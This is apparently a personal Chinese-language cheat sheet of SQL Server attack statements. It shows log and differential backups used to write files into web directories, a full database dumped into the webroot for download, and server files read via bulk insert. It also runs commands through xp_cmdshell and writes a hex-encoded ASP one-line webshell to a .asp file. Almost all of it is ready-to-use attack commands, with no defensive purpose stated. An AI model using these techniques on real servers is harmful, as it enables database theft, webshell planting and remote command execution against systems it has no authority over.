SQL SERVER 日志備份shell語句
今天要用到,突然一下子想不起來了,寫這里,以防下次又想不起來
--drop table tt; backup log job1203 to disk= 'F:\網(wǎng)站\人才網(wǎng)\ys_admin\files\2022-09\20220906190916860.rar' with init; create table tt(a text); insert into tt(a) values('aaaa'); backup log job1203 to disk= 'F:\網(wǎng)站\人才網(wǎng)\ys_admin\files\2022-09\20220906190916860.txt'; drop table tt;
打包數(shù)據(jù)庫 backup database Erp to disk='D:\Web\Erp\wwwroot\Content\_xxx.rar';
下載后在本地還原即可。
讀取服務(wù)器文件:
--create table cmd(a text);
bulk insert cmd from 'C:\Users\xx\output\xxx\dump\LHMY\result.txt'
(2860 行受影響)
完成時間: 20XX-03-06T16:58:51.3389710+08:00
這樣,文件內(nèi)容就被讀取到表里面了。但是,一般可能沒有bulk權(quán)限。
執(zhí)行命令
exec master ..xp_cmdshell 'dir d:\'
exec Erp ..xp_cmdshell 'dir d:\'
十六進制差異備份
0x3C25657865637574652872657175657374282261222929253E 就是一句話木馬的內(nèi)容:<%execute(request("a"))%>
開始
backup database Erp to disk ='E:\wwwroot\cc.bak';-- 備份數(shù)據(jù)庫,打一個快照。
create table [dbo].[dtest] ([cmd][image]);-- 建一個表
insert into dtest(cmd)values(0x3C25657865637574652872657175657374282261222929253E);-- 寫入內(nèi)容
backup database Erp to disk='E:\wwwroot\d.asp' WITH DIFFERENTIAL,FORMAT;-- 差異備份到物理目錄中去。